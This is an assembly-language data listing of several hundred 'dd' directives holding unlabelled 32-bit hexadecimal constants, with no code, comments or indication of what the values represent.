dd 1F7D9AA4h, 0CF29B04h, 0A6A124F6h, 0A40B0752h, 6417E4FFh
dd 48AE8E77h, 76380AA6h, 7B544E6Ah, 17EE6EFFh, 95455AC0h
dd 0C37F9780h, 0F9668E24h, 0BB4F4A12h, 2496162Eh, 145B02B6h
dd 0E9A6F0B3h, 976F2E3Dh, 9200FF45h, 419984Dh, 1AD1E591h
dd 0E41692A8h, 0E559547h, 9EFC5CAFh, 1CEDBC1h, 0C3CF96BEh
dd 928A4D59h, 0B9BBA191h, 2F331BB5h, 41E94A42h, 0E4E0643Eh
dd 0AA3CAE3h, 3A28823Fh, 1056B27Fh, 0E0334606h, 60C0A0E9h
dd 83D94D6h, 7CBB665Eh, 0FDF48C29h, 0DB85591Dh, 2B047B2Fh
dd 17618025h, 0CC2679C7h, 8B67F492h, 0B552B202h, 0A1C9EDAh
dd 989E369Eh, 23C23492h, 46BA9D2Dh, 0C19CF6E4h, 6A709AC4h
dd 0F83A3F94h, 484DBD08h, 4AF60652h, 19B070CCh, 0DFED66FEh
dd 0EEA35E6h, 0E61A6BB8h, 0AD26947h, 0CC63277Dh, 26185724h
dd 8196F40Ch, 0EF7C63D2h, 86C793FCh, 0D6F5B1FCh, 0A5CD24CCh
dd 0FF886428h, 3875D7F8h, 0DB8D1C21h, 0CE1B5179h, 2EECE8B6h
dd 66D3AA50h, 0A41701FAh, 0D64ABF04h, 0C471454Dh, 0D8919D58h
dd 824F6A22h, 0EB9DD594h, 0D9BEEA09h, 17B92901h, 9BDA2538h
dd 4C1FDBCBh, 7B19F7DFh, 8FD01163h, 192286F4h, 0C14EDB17h
dd 1939C718h, 7F02A908h, 2799743Fh, 7807716h, 0FAB24CB6h
dd 0EBCCFA09h, 0E596F0F1h, 0D7328D30h, 0D9DC736Ch, 28526BDBh
dd 92931899h, 90BC9256h
dd 826BA30Ah, 0B4DB06F1h, 0DA877DA1h, 61277AA7h, 0E227BA26h
dd 0F5803DABh, 4393B13Eh, 35A4DB9Dh, 53130EE5h, 0FD8112CBh
dd 0C17A1FB5h, 680CD1ADh, 38E37411h, 0B133516Bh, 873BA52Bh
dd 8AA72D1Bh, 587611F2h, 0FC51B68Dh, 5B407EECh, 0D4129E2Bh
dd 0DEA3F937h, 61CAA868h, 0B31AC4C0h, 7A304E4Eh, 722D9852h
dd 96B7EF35h, 0EF9DD209h, 8D930820h, 0A9226D28h, 831DD35Ch
dd 0ED4C8706h, 0ACFB8127h, 0E5B07D3Eh, 907EE2FAh, 5F4D323Ch
dd 17384C92h, 93F419A6h, 0F10B7D81h, 3AD6041Ah, 0E5B4C92Eh
dd 6E1B8883h, 9B6AC6Bh, 0A527B249h, 0D9367C7Fh, 534A6766h
dd 84ACDACCh, 96A1E661h, 0E985D2B4h, 6B3BFAFCh, 3087DC97h
dd 753DE829h, 0CD3F2563h, 205481C9h, 26546C8h, 95343661h
dd 5F86C2EBh, 26F1FFBBh, 50B239C2h, 0F5559324h, 0C105D903h
dd 0D6C4C1A9h, 41A4C02Fh, 2159F41Bh, 0CDEF2449h, 26B5E1Bh
dd 0B272ECC3h, 4EB93985h, 0F9FEB533h, 74551AEDh, 0D92D607h
dd 7BB9C579h, 8F1D174Ah, 79D49B50h, 0BAD2F732h, 3747B76Dh
dd 1E8A5A1Dh, 99841933h, 3E924DF6h, 61091B65h, 544DCB7h
dd 13C41C07h, 907EF521h, 2BE040BEh, 0C4C5ACB5h, 1B11B05Fh
dd 8EB3A0B4h, 0E3ECDB68h, 8C3A0CF4h, 75DB6E89h, 0F4809F76h
dd 0D7B5718Ah, 64B17FFh, 9804D4F3h, 89204036h, 0D9355393h
dd 894277A8h, 6C95C493h, 3E69B965h, 55D4C158h, 0B74D8447h
dd 0DC386DCAh, 380C9D37h, 9CCCE22Ch, 59544D8Eh, 3201E35Ch
dd 0D19A339Ch, 0ED323E8Ch, 9EE76AABh, 9CFC71FCh, 3E6DEA65h
dd 9EAD9BA0h, 6DFFEE6Bh, 5EEB48ABh, 0B23816A6h, 9D27C0AEh
dd 51ABC562h, 0ECC94BD9h, 0BC893FF6h, 756378DEh, 0A461F892h
dd 26A88BA8h, 6A4A3D3h, 0B700BFDDh, 0BAF4B714h, 0D6990AF8h
dd 31B61955h, 302D0703h, 5B23C3A0h, 0B25B064Bh, 0DC5F9BBCh
dd 0CE02F2BBh, 0F8206BACh, 7D53EED0h, 885666B6h, 13740A2Dh
dd 0E9F2CAF9h, 327A5179h, 942B6C26h, 3EB9DBF9h, 8FA6B094h
dd 0C4EC0A42h, 8E1356DBh, 273BEF3Ch, 7E63956Fh, 8829A049h
dd 0D95A83B2h, 0AC96F502h, 633526C5h, 772BB56Eh, 0D18DA16h
dd 8A6947B2h, 0BD186090h, 345A38F0h, 8F34EA7Eh, 0FE1F8453h
dd 0EBEA52A8h, 0F45200C9h, 3B23E4EEh, 0F5DF928h, 0D2C28D7h
dd 0DCCF6F15h, 0CD85521Dh, 274CB77h, 9FA26BF6h, 3B1AE32Ah
dd 81E98563h, 0B42E455Ah, 851AB9FBh, 0D1F8687Ch, 5C244803h
dd 0E9FE2FA8h, 0C625B5C6h, 77C98686h, 0F1ABB650h, 3F6D6F4h
dd 0E8554D20h, 2F7B0BE0h, 70D274C3h, 0C26C9FC2h, 0AAB2605Ch
dd 25504224h, 758D066Dh, 32357EE2h, 48787251h, 34DD6E73h
dd 64CDB65Ah, 890879D3h, 0E6481678h, 0BCF6FBC5h, 9C223883h
dd 247BA857h, 0C6B629A0h, 40A9EEC8h, 7BBC1765h, 9B87D795h
dd 55D3EF4Bh, 50A7A4FAh, 3BBEA6AFh, 58C13E72h, 1669C350h
dd 392398C9h, 2CFB70D2h, 7F6CA76Eh, 9368D529h, 63B025DDh
dd 73585F4Fh, 26C086A1h, 0E6D0E38h, 49DEF8E5h, 0B4C72E64h
dd 2C6A0639h, 6E8EAE57h, 0C97534F5h, 0D974660Ch, 0E141F72Bh
dd 72B4602Eh, 45D125C0h, 38AA47C4h, 51D92167h, 0B970F66Dh
dd 0CC254A63h, 5FE3AC47h, 8647261Ch, 0B0750D80h, 90F5D926h
dd 0C0F4538Ch, 7E2D9035h, 0F6FD624Eh, 20363852h, 7DE624B3h
dd 36552343h, 6B8916CEh, 0A9C4989Ch, 0C3C4A4D5h, 0E932AE43h
dd 79B65488h, 0E48402CCh, 25F15FCCh, 58D6448h, 7DA48706h
dd 19854149h, 97758996h, 1DF2DFE4h, 80CBBD77h, 0B4803E80h
dd 63C8C674h, 191DC3FDh, 341A0357h, 0DEA5653Bh, 0CE708D64h
dd 0CAA0B8CDh, 7BE21FB9h, 910E0268h, 42E769C6h, 128FDFDAh
dd 730EDF8Ch, 67B22607h, 0BB77B9D9h, 5729331Ch, 0EB55742Bh
dd 0D7002117h, 239F4E1Ah, 0F86F4332h, 8A9B4AD8h, 0A3545863h
dd 0A9F4AD60h, 0F7787A5Ah, 0C318B5Bh, 3B9DFD5Ah, 31A11B26h
dd 7B2DEA42h, 2ECA10C5h, 28F81FDBh, 7E635916h, 6B7A8B68h
dd 2911368Eh, 0FA998928h, 788B9C22h, 0F6180728h, 3C85091h
dd 0D10440B3h, 50273935h, 41548FCBh, 5724D59Eh, 581FA7CEh
dd 30CC64DAh, 0ACE268A1h, 3F9F245Fh, 6E69398Eh, 7A8C4079h
dd 0E49A94B2h, 861C204Fh, 0E881FD30h, 0B5A5F4A4h, 0A29E568Fh
dd 69086510h, 0A20B2687h, 3B014B1Fh, 0A6F0544Fh, 0E1D806F2h
dd 0F7B3CE5Ah, 0B8A69D73h, 0B70C3523h, 36BD1970h, 0DCE8CBC7h
dd 845A0963h, 6732D6CAh, 0E0036816h, 0DC2266E4h, 0E288A58Ch
dd 7750BA2Dh, 576FF014h, 0D245BA33h, 73A27024h, 726CD5A2h
dd 2B1C7504h, 0B1B55567h, 0C4ADA19Fh, 17E2E8C5h, 2643EABAh
dd 5CC17FDh, 69FDB027h, 98C06146h, 6E608CC2h, 0CE916489h
dd 0E66D7D9Ah, 0EC581F0Fh, 2E7667C1h, 6B47CD70h, 25C96549h
dd 385B9D10h, 65A74B07h, 2383A45Dh, 68293801h, 50B72540h
dd 0AF6197CFh, 49456D1Dh, 81C5CC38h, 405783AAh, 0DAB3BF72h
dd 0DCDBE193h, 72294BD1h, 9ABED9FAh, 0F0EFCA9Fh, 0CA94D720h
dd 5AD0103Eh, 323DCD9Bh, 951D8655h, 1408369Dh, 0F7B858F3h
dd 18D9275Dh, 1F2967D1h, 0C1549A31h, 7DBCC083h, 440D408Ch
dd 6F8FFA53h, 78A120B9h, 186DF973h, 0E62F2B25h, 0A2500CF4h
dd 61D1F978h, 9D3A9AC3h, 391FBCB2h, 0A836ED59h, 0CC150CD4h
dd 922E466Ch, 554EF486h, 0E68B433Bh, 4EA7EF34h, 964E8EB0h
dd 8EA0EB03h, 0AC0A04BEh, 374AFD18h, 73623A7Dh, 0EEB8010Dh
dd 596F30B5h, 0D53EC1A5h, 6526921h, 6D6B77AEh, 0ECEF22BCh
dd 7B185532h, 0AA391061h, 8C4FFF0h, 0EA211BBEh, 6C7660DDh
dd 55EF92F4h, 0F2E5DAC2h, 7ADA7E1Fh, 97653B4Bh, 0EECBCDDDh
dd 0E0A662E5h, 0EFE9741Eh, 0D8964C2Bh, 919D3899h, 0B799856Bh
dd 0AE231657h, 975E085h, 184FCF15h, 38C6187h, 764357D3h
dd 11EEB85Fh, 3D29214Fh, 3FFC93Ch, 0FCD0A4D8h, 7BF1E4C1h
dd 9B963F1Ch, 0E769505Eh, 0EE94DB2Bh, 6C13D5C9h, 86E416DCh
dd 3808D286h, 719A1FD5h, 0E551C14Ah, 0B20FA1AFh, 6BF1D7F9h
dd 0D0EB61D8h, 0DF502D2Ah, 1D541C3Dh, 18D7C02Fh, 2B25B4A7h
dd 0C1C06F5Ah, 8E1D2311h, 69464DC3h, 2778C552h, 524AB44Dh
dd 24C41EE5h, 0B5E6FE70h, 0E748B364h, 0F04075C4h, 5A35D8D5h
dd 660B0Ah, 1E501245h, 124FF821h, 0BD64B012h, 0E2FAC356h
dd 0D5523075h, 0F2859A60h, 30F6814Ch, 3779E258h, 9EC96917h
dd 0DCA35D71h, 9A1C654Dh, 80FA31C6h, 2D9CE1A9h, 5D1BC167h
dd 9CDC409Fh, 0BCAC0DDFh, 81184F20h, 62FE65D8h, 4B46520Eh
dd 4CE7931h, 0EA2C4CFCh, 5CF1C83Ah, 0E9BCEC7Fh, 97B036E7h
dd 0F4C14EB6h, 9CCB579Dh, 896D3EADh, 0E1A77788h, 0EF1F333h
dd 9F225080h, 63D4E063h, 7B45CA3h, 9CD672D6h, 0AE09D6Ch
dd 0A8BA6336h, 4BB7BE0Eh, 306EB3Bh, 0B6FA135h, 85CF4287h
dd 0D1BF4A1Ch, 203AEB58h, 0ACA02A12h, 7CDE8F7Fh, 3461AF47h
dd 0D8239C86h, 0F47487ECh, 0DE8273A8h, 24A81183h, 2931D477h
dd 2F2768AFh, 17A03C38h, 63054077h, 0F974FD13h, 0F0668F33h
dd 0B01D1197h, 173DC44h, 0AC3D67DCh, 43CE4C07h, 1123091Fh
dd 329FC5DDh, 0E0A5D171h, 0F42D67FBh, 0A331C8E6h, 0C11D196Bh
dd 9D5C6B00h, 3663A987h, 588934h, 322E70B9h, 5779D7Eh
dd 0E8C95470h, 6A9A9103h, 23490EFBh, 3B924BFh, 0C759D02h
dd 4EA565D8h, 47F9AD9Ch, 8F2A0281h, 75082CFBh, 0F0F3E591h
dd 0F157D69Dh, 0D7BC543Ch
dd 6E4203F0h, 0C9F4AB29h, 72572DD1h, 1A8719AFh, 3BC35B56h
dd 0F922AF04h, 62908F2Fh, 145ABE11h, 5E6C166Ch, 0BF56D71Eh
dd 5C631220h, 0C40BC694h, 1C8D2718h, 336351A8h, 0A8A4F367h
dd 0CF648DB2h, 0E69EAE99h, 1434BA90h, 506C995Eh, 0E5CD026Fh
dd 89761B03h, 3280EBE1h, 0F819708Ah, 0BC031A6Dh, 507A228Dh
dd 46478E42h, 68BFDF90h, 0ADADE3B0h, 7898070Dh, 0E61B5D27h
dd 1D5E8BAEh, 5B3638F0h, 65B449CEh, 355A3B38h, 46D99626h
dd 97CF801Bh, 8C136451h, 76E3C997h, 626EBDC9h, 5CA2199Bh
dd 8028F51Fh, 0EA3944ECh, 6E032229h, 0D15568F5h, 0E0323EC1h
dd 8C59F232h, 4E9AEB31h, 0B59860EBh, 63BBB86Ah, 0F61C45A7h
dd 0BD40F0A0h, 0A00CA39Ah, 2F61E708h, 9CEE115Dh, 4BDFE150h
dd 3D543B4Dh, 0BB4245C8h, 0FAC27DF1h, 25B603Fh, 85D3F465h
dd 0AC89623Ah, 7B3A7272h, 143E5B0Fh, 7D4D28C2h, 0B171A90Fh
dd 50D90A6Fh, 9B57B56Ch, 0BDCA7EF5h, 4FC28DFEh, 0E876DC4Ah
dd 0CEFF765Bh, 30594FFEh, 0DCED89EFh, 6DC328C1h, 56D7E5BEh
dd 6C32A201h, 0D4C5DE49h, 4EF5186Bh, 35C952D8h, 0B90EFB80h
dd 765E7B59h, 5C7999Ch, 0FA268567h, 0CB5DD1D9h, 8E20A96Dh
dd 63FC290Bh, 0AE9989A3h, 0DC2C5A54h, 395DA901h, 13CA5806h
dd 73D8AF5h, 48D25EB4h, 0B5E2C75Bh, 50787458h, 5A6A21D4h
dd 5821D01h, 99DE766Bh, 809E4266h, 0FCB4E2FFh, 3D50ACE9h
dd 71CFC727h, 5CD46B12h, 0DCD5408Fh, 0C861281Fh, 0EAF4D3DCh
dd 2F93081Ah, 2F50FFFDh, 1A24BE82h, 658786DDh, 0CA6D95A6h
dd 453AA28Eh, 8E04D401h, 0E66B5DAAh, 3156936Dh, 0E98D42F7h
dd 7326D558h, 0D7F4DD83h, 0B0BCC032h, 7F3734E2h, 0A84AE974h
dd 0DE257A0Fh, 0B6999BB0h, 2F7E8352h, 0DEDE7386h, 0CC9ADB84h
dd 51B0D359h, 0BEC2AD12h, 8DE8FF2Dh, 0B7F4AF5Eh, 0BABB706Dh
dd 80065F68h, 668AD710h, 45CE501Eh, 7A408A1Dh, 0A13202C9h
dd 40610C4Bh, 14971536h, 7ED5B1CDh, 237DEC6Ah, 0C29ACA30h
dd 0C673BBF6h, 118AC760h, 30B1A9C9h, 0D5CEF920h, 0A43C272h
dd 0A73D45FDh, 0FAE182D6h, 0A5C5EE8h, 0E452303Eh, 0E12CA6D3h
dd 6BAD8C21h, 46090572h, 101AE426h, 48031558h, 5E5DAE31h
dd 2821EF74h, 0A30BFFBAh, 0FC49C5Ah, 6DDF8123h, 0AB6888CFh
dd 92C72CA6h, 0B7697C7h, 6B73E44h, 30F96FA5h, 30F28D19h
dd 0EBC2D5h, 5662FC71h, 76352CD7h, 4D990189h, 0C6ED5CBEh
dd 2A786263h, 7294D357h, 0B22C099Ah, 36A9AE30h, 6DB5807Dh
dd 0B605E033h, 9CFD51BAh, 0BC58495Bh, 56983F04h, 1F9CFA63h
dd 0B3900AE7h, 0BA032E31h, 393E5D49h, 17F8F89Bh, 48700335h
dd 4626132Dh, 94108CCBh, 323D1109h, 6656A82Eh, 974B3273h
dd 0E09E0FCBh, 974582DFh, 4C8721DFh, 2BAB834Bh, 7263C304h
dd 0E15FC09Eh, 0F516400Ch, 2E42C514h, 0B12102D4h, 0CE8660C7h
dd 0D681BCC4h, 0C20F823Dh, 0FE1159Bh, 0C9D0A967h, 0EB4B18F4h
dd 2517A5E6h, 0E7019394h, 449C0659h, 4EB68B45h, 4B877261h
dd 0F1C52D88h, 11FED4C4h, 0E6F22D8Bh, 80AA7486h, 82F0C744h
dd 9CF5FF7h, 0AFB51B54h, 0F811B0C4h, 0D47BAC7Eh, 57F55FD7h
dd 0A8DBFD0h, 0C01DF77Eh, 80D816E6h, 32CD697Dh, 57387F6Fh
dd 705D969Dh, 1CEFA0FAh, 0A8A895D5h, 1F982B9Ch, 70A73145h
dd 74FDCBC4h, 0B8728A28h, 0BDBCF1A5h, 0F486A855h, 10313969h
dd 0EFADB720h, 0FBFAC3ABh, 0F5A95FE5h, 16926FC8h, 0B6276AE0h
dd 6C478BBh, 0AAE70791h, 32C18083h, 0D8674918h, 0B7904D38h
dd 590551E0h, 0B42E1AB8h, 0ECB30304h, 4B80AB2Ah, 0FBB11200h
dd 907E4EA1h, 0CA056006h, 5F086E6h, 0AB38A664h, 0DB56241Eh
dd 1FDFE814h, 0A6BB12C8h, 7C655D69h, 5ACA21A8h, 71B74A5Dh
dd 0C506EACCh, 70009962h, 97165331h, 123B3DB8h, 53716E86h
dd 24D396F1h, 3AAA3687h, 0B1919EC5h, 0EEF8725Eh, 872DF27h
dd 426535D4h, 0FBEFDDD8h, 0DD786134h, 0DD90895Dh, 0F1096272h
dd 7D8C2051h, 90712069h, 0DA776E29h, 54F4E28h, 4AEE0A61h
dd 0A313EEB6h, 82FD882Ch, 0C57A746Eh, 2CA6A3E0h, 0E1C478C9h
dd 0B9CF826Eh, 7248543h, 0A38B659Dh, 7974FE8h, 2261BF53h
dd 0E84306F8h, 0C1C1712Eh, 0A2CF8F3Eh, 96249194h, 2F1C6E32h
dd 9AD15DF5h, 7A072F4h, 740AF515h, 42683F58h, 83F28544h
dd 9F7BC161h, 53658ECDh, 3F9BA79Ah, 8CD59B87h, 0A2C81602h
dd 0D15AD2C9h, 0A00EC316h, 0A238F200h, 11CC0954h, 0BAE3EC0Ch
dd 70EC77CFh, 869FCB11h, 73570373h, 29D56A0h, 92E2FF55h
dd 0BC9FD8BBh, 0DF219084h, 8A2353EBh, 0A679230Bh, 35C1D5E1h
dd 8E19CD04h, 63E8F273h, 1CAB4B2Fh, 1D199AC9h, 919C379Bh
dd 77EDB2FEh, 0DD3DECF1h, 87FDC8C8h, 0D3CDC46Eh, 56171D07h
dd 42443322h, 0F0C95E60h, 2FEC8E02h, 0D9C5F189h, 1949FDE6h
dd 0ECBF1057h, 241B0E23h, 0D45524C7h, 0FE4B2C99h, 4525FBD6h
dd 433CE666h, 0C443500h, 34355775h, 0A0CF99A6h, 557540F5h
dd 0D8198D7h, 0FBF58BBEh, 5429B92Ah, 37E4B2D6h, 0E1FC3349h
dd 43140AA6h, 3F9F9B55h, 400EAB7Ch, 128A54DBh, 20EFB9EBh
dd 1BFDE245h, 48186D56h, 0DE33EFBCh, 928743EAh, 6B87516Fh
dd 84B157E9h, 2E0A0E6Fh, 5575343Bh, 0A4063E0Dh, 0ACB47FD6h
dd 65194C79h, 0B7EF4AFDh, 0ED4E602h, 84151BA0h, 3A848CDFh
dd 3779FAF7h, 0EB611351h, 0D2ABB790h, 0A11A1CD0h, 35B8F4Bh
dd 643EF6B6h, 4EA8EB8h, 3AEEB0D7h, 0AA99E316h, 6827457Eh
dd 11BAC832h, 4C800C7Ch, 2FFBAC9h, 263DFBB7h, 0D274640Eh
dd 7D8C424Fh, 268C5437h, 31169C10h, 0E639EEB4h, 86CD12BBh
dd 97E8E3CCh, 0F3508BC4h, 2E1FED77h, 25B7EE0Eh, 0EFE02661h
dd 41C6C2A7h, 0DCAED299h, 16CFE89Ch, 17109D96h, 0D93F5A90h
dd 91A8568Dh, 3A1B49E0h, 8DBE8FB9h, 8F771190h, 1A7E8575h
dd 0EF79DFA2h, 1712AB07h, 599678E0h, 0A7CB8431h, 0A046DDBCh
dd 31ECDAB4h, 0F20547CEh, 0EE2E17CCh, 0F11E5337h, 0F81A21BFh
dd 0DFA6933Fh, 58AF0D60h, 0F65AF058h, 73C11E56h, 54BD20CDh
dd 716DDF7Dh, 0A1B31ABDh, 8371C877h, 0A32ECD3Ah, 4C8B4F73h
dd 81F7B514h, 99DB1BFh, 456AD796h, 62B156F9h, 901E814h
dd 34939528h, 0D7DAB373h, 1BB74071h, 891D3F5h, 26EE8241h
dd 91CE9FD2h, 3A397101h, 5E2295C2h, 0C064F450h, 0BE3638C5h
dd 56C47205h, 3D1932B5h, 0DE6DF1DFh, 0D3A1A82Dh, 344A0324h
dd 61D299E6h, 0A16981ECh, 0F01E1F2h, 0D0A8F180h, 0E6C0C40Dh
dd 3BEC44A8h, 33CB0C6Ch, 16FC51D6h, 0D4D0AE4Eh, 83C6E25Eh
dd 54DDC928h, 13E43F07h, 506D22BFh, 0E9DE2A56h, 8BF1E63Fh
dd 1632FE95h, 1C4C2BCFh, 3DC1DAEDh, 24A3BD92h, 5342172Eh
dd 667C02CEh, 0AEA4FC20h, 6A4C1250h, 4F9FA693h, 0CFC23061h
dd 0AF8ACB4Bh, 6073DCC6h, 159E4DC8h, 4CFFEEB6h, 0BD959641h
dd 53F06C2Ch, 0F6C65A0Bh, 0BB2DC06h, 2974A41h, 7894F9EFh
dd 0C35A8806h, 7264C99Ch, 37644FA8h, 0F56C4665h, 3362489Dh
dd 0C52B13BDh, 5D9F901Fh, 0CE4F90FEh, 0E7812E0Bh, 9BC79541h
dd 3F064B7Ah, 9E1D18ADh, 0A43EB84Eh, 0A1F2F440h, 572B8196h
dd 0EB862F06h, 0F546463Ah, 0B7E9D5BCh, 582036DAh, 230FA22h
dd 0EED1E99h, 0A75E8F90h, 0EF945E20h, 444C5A89h, 0F4C028CCh
dd 45AB0867h, 796D7B9h, 0F9197B3h, 0F0298AB2h, 55649296h
dd 62F5663Ah, 44CC9E72h
dd 248ED17Dh, 8F2FC326h, 87114B3Fh, 65F76CEEh, 19969121h
dd 0FF33E72h, 461FF4A0h, 0CC587CB3h, 1F2C7A82h, 8B201660h
dd 7B281EBCh, 0F188E3BEh, 9529FF8h, 0BBFADADBh, 0BF8E06F5h
dd 17C39D31h, 333411AAh, 6E1F60DEh, 7C21C45Eh, 0DCB9B474h
dd 0C29523E5h, 999A846Ch, 2BA8A9B6h, 39AA8032h, 0F27F8D38h
dd 6BE4504Ah, 6F2178F1h, 0B7FECF82h, 1F6B83A2h, 34443EAAh
dd 48A81E6Ah, 941F1046h, 81D3CE1Ah, 3A076E7h, 33181E56h
dd 223B0BEBh, 7F22DD5Ah, 0E3F52951h, 3A5FD82Bh, 1AE2AD9Dh
dd 71E69E33h, 4BE4CCC6h, 926FB5D1h, 0C2475B9Dh, 0F782E945h
dd 5E00A08Ah, 294D2B33h, 0D0FE3749h, 0A92624BBh, 0F031E1F3h
dd 2F196FB2h, 34B878B2h, 76DEA2BFh, 2F5B5304h, 9EE6E22Eh
dd 0D5620976h, 0FEF5B500h, 0E1C82EB2h, 0CA278817h, 2901B48h
dd 0AB20F940h, 3C60CA0h, 82D68725h, 38A44F3Ah, 0EF41F7BDh
dd 0D808664h, 212AFDA3h, 0FDEA800Eh, 682DA9Eh, 0DBD84AF5h
dd 39799C1Bh, 7A4DA660h, 0CA9F2920h, 0DEDA21E4h, 0C992DB60h
dd 9BBFF97Eh, 0B5744BDAh, 211BC287h, 1ED437EDh, 0F4DA7388h
dd 0FFCF478Eh, 0B1A6ACDBh, 0E511DA67h, 5BD84949h, 14FA226Eh
dd 0F384E6A8h, 56ECE35Ch, 5B49879Ch, 671B39EDh, 0D0EE425Ch
dd 0FA66E019h, 0E78810C3h, 121A71h, 7F843E3Bh, 4BCF363Ch
dd 40A9F51Eh, 4E07736Eh, 0BAA1AF0Ah, 1513AA86h, 0F2CF06E7h
dd 179624EEh, 0C8E099A7h, 82BEC76Dh, 20E3C551h, 0C85A847Fh
dd 1A71B2BFh, 0B7F92E4Bh, 0C64DCD5Eh, 1FD99204h, 7D2AE5BCh
dd 0E6DC43C1h, 7A43AEFh, 7CABA110h, 0C9BF187Ah, 9D1BB2D5h
dd 0AECFC5AAh, 4AB58965h, 0DF07CFDEh, 4D1BABF9h, 0EFF550Dh
dd 4F0071FEh, 0DEF4556Ah, 4FAE2523h, 23AD67h, 0A36C4B1Ch
dd 179F01F8h, 0FC95FC3Bh, 1000CE68h, 5C8FBAFh, 0DEF4EAA5h
dd 47205E75h, 0BCEE764Bh, 0A95896F0h, 0A57C0DA7h, 0A0FF37D9h
dd 95C94A0Bh, 88B23155h, 8A34E839h, 0E1764BC2h, 8F57737Eh
dd 0B1A8238Ah, 5C0D59FDh, 9534B05Fh, 6B442504h, 24F49F5Fh
dd 14102A8Fh, 0DE54FB38h, 0A91A4B31h, 5CCF3C62h, 6FB56CE4h
dd 5EE0764Bh, 0E810D75h, 37EADEAFh, 0F98BA7CCh, 24878353h
dd 0F7AB0D02h, 0A2B7ACC6h, 6ACBF5EDh, 0DF03C7CAh, 0DDAD9A1Dh
dd 0B6B2334Eh, 26EE7A4Dh, 9E62AA53h, 349A4027h, 0FEC75BB5h
dd 5D795B92h, 0EB86E698h, 0DF769EC0h, 0C4BBAB53h, 36E10E25h
dd 7857EC40h, 0AF808092h, 0F8A731B4h, 2BE1FCA8h, 2E7E655Bh
dd 5BF922F1h, 5A4E54FBh, 79ACD4C9h, 10E268EFh, 0D4296C9Dh
dd 0FF280045h, 0F925724Eh, 70A71E2Bh, 3490349Fh, 89C3C156h
dd 0B8C216F9h, 35F8C5D1h, 0F9406AB5h, 0EEC33BCDh, 2CAF6BB9h
dd 90D342Dh, 0CDCFE244h, 2535038Fh, 0BF5B4E34h, 7CF1E32h
dd 8BDB4D0h, 0A9125786h, 0F49D3D30h, 0D71F7ACDh, 0C933E8F0h
dd 5FF41B8Dh, 3D2F8A4h, 25EC12C1h, 50B7499h, 0A59B5563h
dd 3DCC7D5Fh, 9068DC7Dh, 0E849A2BFh, 7FF54C3Ah, 2CF54EA0h
dd 7CF31140h, 0CC742B5Eh, 0C7981992h, 0BEBF64E6h, 5EB0DDABh
dd 384A6A7h, 0EC441943h, 3A8633C9h, 23BD50EEh, 0E35C0AF4h
dd 482ABDFh, 0E08D3BCAh, 83A3BDF1h, 22AFF212h, 46445192h
dd 3A2A44C7h, 0FF44E678h, 7C56A11Bh, 527C3E3Ch, 0C53804EAh
dd 5C70199Bh, 750FC0DCh, 1FF60Dh, 428B388Ch, 0F6E83EA2h
dd 0EF49AC12h, 0C84908B2h, 22DE7DDh, 65005B9Bh, 9DA679E4h
dd 0C0FF1D86h, 205108Ch, 0AB07BD18h, 2D9942B9h, 0E5876093h
dd 84AA7A0Fh, 5FED367Dh, 0D828C4C8h, 390B0770h, 0E1933F9Dh
dd 87BF43ACh, 0D3059A4Bh, 43C9F3BDh, 0A136ABA2h, 9E6C594Bh
dd 57024120h, 0CFB97FEAh, 0B65476Bh, 72BA14E0h, 0DC8CF7CDh
dd 0B1827416h, 0EDBD0655h, 0C12B93B0h, 0BF9FB4ACh, 3C86E293h
dd 0BF6DA54Ah, 9C1CA080h, 69EF7B26h, 91961A78h, 7985A763h
dd 6E4D7FC9h, 166E2CC3h, 0F3F0DCAh, 1F877068h, 887622A7h
dd 0EDFD6156h, 35F30C27h, 0A950FB5Eh, 0A438F8A3h, 0BE04B3E4h
dd 29BD5EE7h, 0C0DEE117h, 3F68B9FEh, 0F1E8250Dh, 0BBE21716h
dd 539B845Fh, 8CF163B1h, 0B06B8EB3h, 0D5E5AC56h, 3F9BA048h
dd 9E47EE04h, 2CBAB327h, 327EAACh, 0DF16D385h, 6E8552CDh
dd 81127B14h, 0F005ADEEh, 90CAFEBDh, 0EE63541Bh, 0E0964923h
dd 0A695F59Eh, 0F4EA9969h, 0B2ED7D8h, 2C756F08h, 16CEF361h
dd 82CD1635h, 88E10DFEh, 79D94704h, 2BEF9698h, 6359A6EAh
dd 8F6D5F13h, 3C669615h, 10B98E7Ch, 44B3910Bh, 97E4C3CCh
dd 0A5E48163h, 4C59536Bh, 0B8D1D9B7h, 0ABBBF6B5h, 0EF6CEFA1h
dd 0BBD462E6h, 200F5055h, 73632F99h, 6182877Ah, 18BC2D7Fh
dd 53924F50h, 26F2D4D3h, 0A479A99Eh, 7131BD56h, 1AB79AAAh
dd 79534CF5h, 0DF63D9C7h, 3CFBA98Bh, 0D3F443A1h, 0C866E804h
dd 0B47B8960h, 86FEA11Ch, 488BC23Ah, 407B6506h, 878B6192h
dd 0ECD4EB02h, 0A725FF66h, 9B21FCE2h, 8E7FAA96h, 2C36F88Ch
dd 0C9E5871Dh, 0FC572D40h, 73B35EFCh, 0C23631FEh, 2EAA4E22h
dd 0F15EF9FCh, 0EA13C093h, 4CFF3A3Ch, 0E79C9F04h, 0DFD441D5h
dd 74FFAC96h, 0C8BDCB03h, 0BF68C963h, 62BCD98Ah, 61D86740h
dd 9483AA57h, 0BCE2DB5Fh, 0F83E0308h, 0F116ED0Dh, 7A5A0E21h
dd 48DF05ACh, 0D4441E4Bh, 7325E4BCh, 6E73F0D8h, 0C9B238ABh
dd 0CCD7EE7Fh, 0D407EB8Bh, 0C7388E6h, 0C6E847FBh, 0BF3F0FD0h
dd 68058C0Dh, 29D819E9h, 0EEF702D4h, 40E364DEh, 0B4E2313Dh
dd 4396E411h, 0C0C532DFh, 4080AEB4h, 565319B3h, 60ACC082h
dd 617FEC65h, 0BAF9F065h, 0F7B69A61h, 0F495BAC4h, 0AE8837D2h
dd 8DCBBB6Bh, 15669A58h, 0E729244Dh, 0D6235F1Ch, 0E9D83246h
dd 480C5211h, 69CACD39h, 42C48CF2h, 0FB0BE811h, 28E89195h
dd 724C7AA9h, 552CE36Eh, 184DB240h, 0D4DD5929h, 69A705EFh
dd 94367B23h, 9C948CFAh, 1F63F269h, 36ED2EC8h, 0B4F85380h
dd 0E0D1B458h, 0BD312F9Ah, 0D4AA25FCh, 2C6A5076h, 28358F2h
dd 2F77C77Ah, 0D2D80FD6h, 0B0BE99Fh, 0F29A6B1Eh, 900627F1h
dd 0FB77C7E4h, 1AD9E259h, 0D5C7C57Dh, 0D9C8CBD0h, 0A2B0FA0Bh
dd 58B1F42Bh, 82F97F6Dh, 0B95BD9BAh, 0AB6864EAh, 1ED51231h
